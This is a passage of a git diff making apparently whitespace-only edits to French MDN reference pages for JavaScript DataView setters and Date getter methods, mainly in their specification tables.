-------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.setint8', 'DataView.prototype.setInt8')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.setint8', 'DataView.prototype.setInt8')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.setint8', 'DataView.prototype.setInt8')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setuint16/index.md b/files/fr/web/javascript/reference/global_objects/dataview/setuint16/index.md index 350929f26d..e11b9efc89 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/setuint16/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/setuint16/index.md @@ -56,7 +56,7 @@ dataview.getUint16(1); // 3 | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.setuint16', 'DataView.prototype.setUint16')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.setuint16', 'DataView.prototype.setUint16')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.setuint16', 'DataView.prototype.setUint16')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setuint32/index.md b/files/fr/web/javascript/reference/global_objects/dataview/setuint32/index.md index 15dc13fe04..576f5957ed 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/setuint32/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/setuint32/index.md @@ -56,7 +56,7 @@ dataview.getUint32(1); // 3 | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015 (ES6). | | {{SpecName('ES2015', '#sec-dataview.prototype.setuint32', 'DataView.prototype.setUint32')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.setuint32', 'DataView.prototype.setUint32')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.setuint32', 'DataView.prototype.setUint32')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setuint8/index.md b/files/fr/web/javascript/reference/global_objects/dataview/setuint8/index.md index 45c7db8f89..0fe5fcb82b 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/setuint8/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/setuint8/index.md @@ -54,7 +54,7 @@ dataview.getUint8(1); // 3 | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.setuint8', 'DataView.prototype.setUint8')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.setuint8', 'DataView.prototype.setUint8')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.setuint8', 'DataView.prototype.setUint8')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/@@toprimitive/index.md b/files/fr/web/javascript/reference/global_objects/date/@@toprimitive/index.md index 574dd32262..c075fd3260 100644 --- a/files/fr/web/javascript/reference/global_objects/date/@@toprimitive/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/@@toprimitive/index.md @@ -26,7 +26,7 @@ La valeur primitive de l'objet {{jsxref("Date")}}. Selon la valeur de l'argument La méthode `[@@toPrimitive]()` de {{jsxref("Date")}} renvoie une valeur primitive qui est un nombre ou une chaîne de caractère. -Si le paramètre `hint` vaut `"string"` ou `"default"`, `[@@toPrimitive]()` tentera d'appeler la méthode {{jsxref("Object.prototype.toString()", "toString")}}, si la propriété `toString()` n'existe pas, elle tentera alors d'appeler la méthode {{jsxref("Object.prototype.valueOf()", "valueOf")}}, si cette dernière n'existe pas non plus, `[@@toPrimitive]()` lèvera une exception {{jsxref("TypeError")}}. +Si le paramètre `hint` vaut `"string"` ou `"default"`, `[@@toPrimitive]()` tentera d'appeler la méthode {{jsxref("Object.prototype.toString()", "toString")}}, si la propriété `toString()` n'existe pas, elle tentera alors d'appeler la méthode {{jsxref("Object.prototype.valueOf()", "valueOf")}}, si cette dernière n'existe pas non plus, `[@@toPrimitive]()` lèvera une exception {{jsxref("TypeError")}}. Si le paramètre `hint` vaut `"number"`, `[@@toPrimitive]()` tentera d'abord un appel à `valueOf()` puis ensuite un appel à `toString()`. @@ -37,7 +37,7 @@ Le moteur JavaScript appelle la méthode `[@@toPrimitive]()` afin de convertir u | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-date.prototype-@@toprimitive', 'Date.prototype.@@toPrimitive')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-date.prototype-@@toprimitive', 'Date.prototype.@@toPrimitive')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype-@@toprimitive', 'Date.prototype.@@toPrimitive')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getdate/index.md b/files/fr/web/javascript/reference/global_objects/date/getdate/index.md index 934bca97de..6be217798e 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getdate/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getdate/index.md @@ -32,7 +32,7 @@ Un entier entre 1 et 31 correspondant au jour du mois de la date indiquée selon ### Utiliser `getDate()` -La seconde instruction ci-dessous affecte la valeur 25 à la variable `jour`, d'après la valeur de l'objet {{jsxref("Date")}} `Noel95`. +La seconde instruction ci-dessous affecte la valeur 25 à la variable `jour`, d'après la valeur de l'objet {{jsxref("Date")}} `Noel95`. ```js var Noel95 = new Date("December 25, 1995 23:15:00"); @@ -45,9 +45,9 @@ console.log(jour); // 25 | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | -| {{SpecName('ESDraft', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}} | {{Spec2('ES6')}} | | -| {{SpecName('ES5.1', '#sec-15.9.5.14', 'Date.prototype.getDate')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}} | {{Spec2('ES6')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.14', 'Date.prototype.getDate')}} | {{Spec2('ES5.1')}} | | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getday/index.md b/files/fr/web/javascript/reference/global_objects/date/getday/index.md index 343fc41fcc..b145ff2af9 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getday/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getday/index.md @@ -51,9 +51,9 @@ console.log(jourSemaine); //1 | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | -| {{SpecName('ESDraft', '#sec-date.prototype.getday', 'Date.prototype.getDay')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getday', 'Date.prototype.getDay')}} | {{Spec2('ES6')}} | | -| {{SpecName('ES5.1', '#sec-15.9.5.16', 'Date.prototype.getDay')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getday', 'Date.prototype.getDay')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getday', 'Date.prototype.getDay')}} | {{Spec2('ES6')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.16', 'Date.prototype.getDay')}} | {{Spec2('ES5.1')}} | | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getfullyear/index.md b/files/fr/web/javascript/reference/global_objects/date/getfullyear/index.md index d3cf612ee7..e826083b98 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getfullyear/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getfullyear/index.md @@ -42,9 +42,9 @@ var année = aujd.getFullYear(); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.10', 'Date.prototype.getFullYear')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.10', 'Date.prototype.getFullYear')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/gethours/index.md b/files/fr/web/javascript/reference/global_objects/date/gethours/index.md index 502652786f..d88ad24ea5 100644 --- a/files/fr/web/javascript/reference/global_objects/date/gethours/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/gethours/index.md @@ -28,7 +28,7 @@ Un entier, compris entre 0 et 23 qui indique l'heure de la date indiquée selon ### Utiliser `getHours()` -La seconde instruction ci-dessous assigne la valeur 23 à la variable `heure`, selon la valeur de l'objet {{jsxref("Date")}} `noel95`. +La seconde instruction ci-dessous assigne la valeur 23 à la variable `heure`, selon la valeur de l'objet {{jsxref("Date")}} `noel95`. ```js var noel95 = new Date("December 25, 1995 23:15:00"); @@ -42,9 +42,9 @@ console.log(heure); //23 | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.9.5.18', 'Date.prototype.getHours')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.18', 'Date.prototype.getHours')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getmilliseconds/index.md b/files/fr/web/javascript/reference/global_objects/date/getmilliseconds/index.md index 5476fccef0..c595e58b19 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getmilliseconds/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getmilliseconds/index.md @@ -40,9 +40,9 @@ var ms = aujd.getMilliseconds(); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.24', 'Date.prototype.getMilliseconds')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.24', 'Date.prototype.getMilliseconds')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getminutes/index.md b/files/fr/web/javascript/reference/global_objects/date/getminutes/index.md index f7a9657f90..d841fb35e6 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getminutes/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getminutes/index.md @@ -28,7 +28,7 @@ La valeur renvoyée par `getMinutes` est un entier entre 0 et 59 représentant l ### Utiliser `getMinutes()` -La seconde instruction ci-dessous assigne la valeur 15 à la variable `minutes`, selon la valeur de l'objet {{jsxref("Date")}} `noel95`. +La seconde instruction ci-dessous assigne la valeur 15 à la variable `minutes`, selon la valeur de l'objet {{jsxref("Date")}} `noel95`. ```js var noel95 = new Date("December 25, 1995 23:15:00"); @@ -42,9 +42,9 @@ console.log(minutes); //15 | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.9.5.20', 'Date.prototype.getMinutes')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.20', 'Date.prototype.getMinutes')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getmonth/index.md b/files/fr/web/javascript/reference/global_objects/date/getmonth/index.md index 2f3cdd1c3f..6d15d5aefe 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getmonth/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getmonth/index.md @@ -28,7 +28,7 @@ Un entier entre 0 et 11 selon le mois de la date indiquée et d'après l'heure l ### Utiliser `getMonth()` -La seconde instruction ci-dessous assigne la valeur 11 à la variable `mois`, d'après la valeur de l'objet {{jsxref("Date")}} `noel95`. +La seconde instruction ci-dessous assigne la valeur 11 à la variable `mois`, d'après la valeur de l'objet {{jsxref("Date")}} `noel95`. ```js var noel95 = new Date("December 25, 1995 23:15:00"); @@ -52,9 +52,9 @@ console.log(mois); //11 | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.9.5.12', 'Date.prototype.getMonth')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.12', 'Date.prototype.getMonth')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getseconds/index.md b/files/fr/web/javascript/reference/global_objects/date/getseconds/index.md index ddbd49d19a..dc15cdc3b5 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getseconds/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getseconds/index.md @@ -28,7 +28,7 @@ La valeur renvoyée par `getSeconds()` est un entier entre 0 et 59 correspondant ### Utiliser `getSeconds()` -La seconde instruction ci-dessous assigne la valeur 30 à la variable `secondes`, selon la valeur de l'objet {{jsxref("Date")}} `noel95`. +La seconde instruction ci-dessous assigne la valeur 30 à la variable `secondes`, selon la valeur de l'objet {{jsxref("Date")}} `noel95`. ```js var noel95 = new Date("December 25, 1995 23:15:30"); @@ -42,9 +42,9 @@ console.log(secondes); //30 | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.9.5.22', 'Date.prototype.getSeconds')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.22', 'Date.prototype.getSeconds')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/gettime/index.md b/files/fr/web/javascript/reference/global_objects/date/gettime/index.md index 9c2ac28bca..2df8a93f76 100644 --- a/files/fr/web/javascript/reference/global_objects/date/gettime/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/gettime/index.md @@ -82,9 +82,9 @@ Pour Firefox, il est également possible d'activer `privacy.resistFingerprinting | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.9.5.9', 'Date.prototype.getTime')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.9', 'Date.prototype.getTime')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/gettimezoneoffset/index.md b/files/fr/web/javascript/reference/global_objects/date/gettimezoneoffset/index.md index a313ba77c9..cffbb02de1 100644 --- a/files/fr/web/javascript/reference/global_objects/date/gettimezoneoffset/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/gettimezoneoffset/index.md @@ -48,9 +48,9 @@ var decalage = travail.getTimezoneOffset() / 60; | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.9.5.26', 'Date.prototype.getTimezoneOffset')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.26', 'Date.prototype.getTimezoneOffset')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcdate/index.md b/files/fr/web/javascript/reference/global_objects/date/getutcdate/index.md index 5f062ea4fb..c59486641e 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getutcdate/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getutcdate/index.md @@ -40,9 +40,9 @@ var jour = aujourdhui.getUTCDate(); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.15', 'Date.prototype.getUTCDate')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.15', 'Date.prototype.getUTCDate')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcday/index.md b/files/fr/web/javascript/reference/global_objects/date/getutcday/index.md index 6fe7f094b9..3565659b64 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getutcday/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getutcday/index.md @@ -40,9 +40,9 @@ var jourSemaine = aujourdhui.getUTCDay() | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.17', 'Date.prototype.getUTCDay')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.17', 'Date.prototype.getUTCDay')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcfullyear/index.md b/files/fr/web/javascript/reference/global_objects/date/getutcfullyear/index.md index a481accedf..c5f4868b8d 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getutcfullyear/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getutcfullyear/index.md @@ -40,9 +40,9 @@ var annee = aujourdhui.getUTCFullYear(); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.11', 'Date.prototype.getUTCFullYear')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.11', 'Date.prototype.getUTCFullYear')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getutchours/index.md b/files/fr/web/javascript/reference/global_objects/date/getutchours/index.md index 186c88055b..380ec98546 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getutchours/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getutchours/index.md @@ -40,9 +40,9 @@ var heures = aujourdhui.getUTCHours(); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.19', 'Date.prototype.getUTCHours')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.19', 'Date.prototype.getUTCHours')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcminutes/index.md b/files/fr/web/javascript/reference/global_objects/date/getutcminutes/index.md index 5cda61f0a0..dceaadf252 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getutcminutes/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getutcminutes/index.md @@ -40,9 +40,9 @@ var minutes = aujourdhui.getUTCMinutes(); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.21', 'Date.prototype.getUTCMinutes')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.21', 'Date.prototype.getUTCMinutes')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcmonth/index.md b/files/fr/web/javascript/reference/global_objects/date/getutcmonth/index.md index 562f934ba4..37782e98a6 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getutcmonth/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getutcmonth/index.md @@ -40,9 +40,9 @@ var mois = aujourdhui.getUTCMonth(); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.13', 'Date.prototype.getUTCMonth')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', 